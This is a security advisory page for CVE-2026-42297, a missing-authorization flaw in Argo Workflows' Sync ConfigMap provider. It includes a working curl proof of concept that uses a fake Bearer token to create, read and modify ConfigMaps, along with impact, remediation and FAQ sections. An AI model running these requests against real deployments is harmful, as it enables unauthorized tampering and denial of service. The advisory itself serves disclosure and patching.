CVE-2026-42297: Argo Workflows Is Missing Authorization in Sync ConfigMap Provider

Published May 4, 2026
·
Updated

Summary The Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details The ConfigMap-backed provider (server/sync/synccm.go) has no auth.CanI checks:

go // synccm.go — UNPROTECTED func (s configMapSyncProvider) createSyncLimit(ctx context.Context, req syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } - server/sync/synccm.go — lines 23-155 - All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC Prerequisites

- Argo Server running with --auth-mode=server - Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

bash kubectl get configmap test-sync -n default

NAME DATA AGE test-sync 1 74s

Step 2: Read Sync Limit (Fake Token)

bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Impact An attacker with network access to the Argo Server can:

1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution 2. Workflow Disruption — Modify existing sync limits to break running workflows 3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration 4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Other sources

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/argoproj/argo-workflows/v4>=4.0.0<4.0.5
4.0.5
argoproj Argo Workflows Go>=4.0.0<4.0.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/argoproj/argo-workflows/v4 to a version that resolves this vulnerability.

    Fixed in 4.0.5
  2. Upgrade

    Upgrade Argo Workflows (sync service ConfigMap-backed provider server/sync/sync_cm.go) to a version that resolves this vulnerability.

    Fixed in 4.0.5
  3. Operational

    After upgrading to 4.0.5+, verify the ConfigMap-backed sync limits were not tampered with by checking that the ConfigMap exists and that the expected key/value is present in Kubernetes (e.g., run `kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'`).

Event History

May 4, 2026
Advisory Published
via GitHub·08:00 PM
Data Sourced
via GitHub·08:00 PM
DescriptionWeaknessAffected Software
May 9, 2026
CVE Published
via MITRE·03:42 AM
Data Sourced
via MITRE·03:42 AM
DescriptionWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·05:01 AM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42297?

CVE-2026-42297 is considered a critical vulnerability due to the lack of authorization checks on CRUD operations.

2

How do I fix CVE-2026-42297?

To mitigate CVE-2026-42297, upgrade to version 4.0.5 of the Argo Workflows package.

3

Who is affected by CVE-2026-42297?

Any authenticated user of the Argo Workflows version prior to 4.0.5, including those using fraudulent tokens, is affected by CVE-2026-42297.

4

What operations can be exploited due to CVE-2026-42297?

CVE-2026-42297 allows malicious users to create, read, update, and delete Kubernetes ConfigMaps without authorization.

5

What products are impacted by CVE-2026-42297?

CVE-2026-42297 impacts the Argo Workflows software, specifically versions between 4.0.0 and 4.0.5.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203